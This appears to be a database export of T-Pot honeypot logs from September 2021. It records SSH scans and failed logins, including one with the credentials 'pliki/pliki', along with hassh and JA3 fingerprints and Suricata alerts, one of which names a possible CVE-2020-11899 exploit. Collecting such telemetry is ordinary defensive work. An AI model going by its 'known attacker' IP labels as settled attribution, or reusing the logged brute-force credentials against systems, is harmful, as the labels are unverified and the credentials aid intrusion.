"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32057	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:49:25.951502+03	2021-09-20 15:00:02.973716+03	{"_id": "GAYKA3wBvYTbRNuEGkjk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:22.981009+0000", "pkts_toclient": 13, "pkts_toserver": 11, "bytes_toclient": 2329, "bytes_toserver": 2116}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2179566873540625, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42092, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:49:25.951502Z", "@timestamp": "2021-09-20T11:49:25.951Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32058	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:49:25.953219+03	2021-09-20 15:00:02.974717+03	{"_id": "GgYKA3wBvYTbRNuEHUhC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "07f509ec59d1", "@version": "1", "duration": 2.6983447074890137, "timestamp": "2021-09-20T11:49:25.953219Z", "@timestamp": "2021-09-20T11:49:25.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32059	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:49:28.101945+03	2021-09-20 15:00:02.975717+03	{"_id": "GwYKA3wBvYTbRNuEIki2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:28.101945+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2020006691376697, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34668, "timestamp": "2021-09-20T11:49:28.101945Z", "@timestamp": "2021-09-20T11:49:28.101Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32060	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:15.398075+03	2021-09-20 15:00:02.977717+03	{"_id": "9AYJA3wBvYTbRNuE8Efs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52846, "timestamp": "2021-09-20T11:49:15.398075", "@timestamp": "2021-09-20T11:49:15.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32061	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:49:15.397582+03	2021-09-20 15:00:02.978718+03	{"_id": "_gYJA3wBvYTbRNuE8kdE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "94d2b57a49c1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:49:15.397582Z", "@timestamp": "2021-09-20T11:49:15.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32062	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:49:15.605562+03	2021-09-20 15:00:02.979717+03	{"_id": "_wYJA3wBvYTbRNuE8kdE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "94d2b57a49c1", "@version": "1", "timestamp": "2021-09-20T11:49:15.605562Z", "@timestamp": "2021-09-20T11:49:15.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32063	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:49:15.603547+03	2021-09-20 15:00:02.981716+03	{"_id": "AQYJA3wBvYTbRNuE80jQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 84312174876158, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52846, "dest_port": 22, "timestamp": "2021-09-20T11:49:15.603547Z", "@timestamp": "2021-09-20T11:49:15.603Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32064	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:49:23.25223+03	2021-09-20 15:00:02.982716+03	{"_id": "EgYKA3wBvYTbRNuEEUiJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.116.239.130:42092 (192.168.176.2:22) [session: 07f509ec59d1]", "session": "07f509ec59d1", "@version": "1", "protocol": "ssh", "src_port": 42092, "dest_port": 22, "timestamp": "2021-09-20T11:49:23.252230Z", "@timestamp": "2021-09-20T11:49:23.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32065	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:49:23.530221+03	2021-09-20 15:00:02.984717+03	{"_id": "EwYKA3wBvYTbRNuEEUiJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "07f509ec59d1", "@version": "1", "timestamp": "2021-09-20T11:49:23.530221Z", "@timestamp": "2021-09-20T11:49:23.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32066	1.116.239.130	109.199.241.180	Suricata	2021-09-20 14:49:23.522791+03	2021-09-20 15:00:02.986716+03	{"_id": "FAYKA3wBvYTbRNuEE0gT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "flow_id": 2179566873540625, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner"]}, "src_port": 42092, "dest_port": 22, "timestamp": "2021-09-20T11:49:23.522791Z", "@timestamp": "2021-09-20T11:49:23.522Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32067	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:23.522972+03	2021-09-20 15:00:02.987716+03	{"_id": "FQYKA3wBvYTbRNuEFEgY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.116.239.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42092, "timestamp": "2021-09-20T11:49:23.522972", "@timestamp": "2021-09-20T11:49:23.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32068	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:49:14.65871+03	2021-09-20 15:00:02.988716+03	{"_id": "8QYJA3wBvYTbRNuE70fn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 48979, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3320, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 599734020081661, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48435, "timestamp": "2021-09-20T11:49:14.658710Z", "@timestamp": "2021-09-20T11:49:14.658Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32069	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:14.707337+03	2021-09-20 15:00:02.989716+03	{"_id": "8wYJA3wBvYTbRNuE8Efs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35708, "dest_port": 443, "timestamp": "2021-09-20T11:49:14.707337", "@timestamp": "2021-09-20T11:49:14.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32070	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:49:19.143343+03	2021-09-20 15:00:02.991717+03	{"_id": "CAYJA3wBvYTbRNuE_0iJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:49:19.143343+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1907538677149679, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:49:19.143343Z", "@timestamp": "2021-09-20T11:49:19.143Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
32071	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:49:19.931776+03	2021-09-20 15:00:02.992716+03	{"_id": "CgYKA3wBvYTbRNuEBUjP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "0a8cfc15853f", "@version": "1", "duration": 180.25312161445618, "timestamp": "2021-09-20T11:49:19.931776Z", "@timestamp": "2021-09-20T11:49:19.931Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
32072	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:49:03.454014+03	2021-09-20 15:00:02.993716+03	{"_id": "0gYJA3wBvYTbRNuEw0de", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [pliki/pliki] failed", "session": "0ee04c337f15", "@version": "1", "password": "pliki", "username": "pliki", "timestamp": "2021-09-20T11:49:03.454014Z", "@timestamp": "2021-09-20T11:49:03.454Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32073	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:49:04.748662+03	2021-09-20 15:00:02.995717+03	{"_id": "0wYJA3wBvYTbRNuEx0dH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0ee04c337f15", "@version": "1", "duration": 2.86962890625, "timestamp": "2021-09-20T11:49:04.748662Z", "@timestamp": "2021-09-20T11:49:04.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32074	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:49:43.857066+03	2021-09-20 15:00:02.996717+03	{"_id": "NAYKA3wBvYTbRNuEX0iy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e494b6ad8367", "@version": "1", "duration": 2.7397942543029785, "timestamp": "2021-09-20T11:49:43.857066Z", "@timestamp": "2021-09-20T11:49:43.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
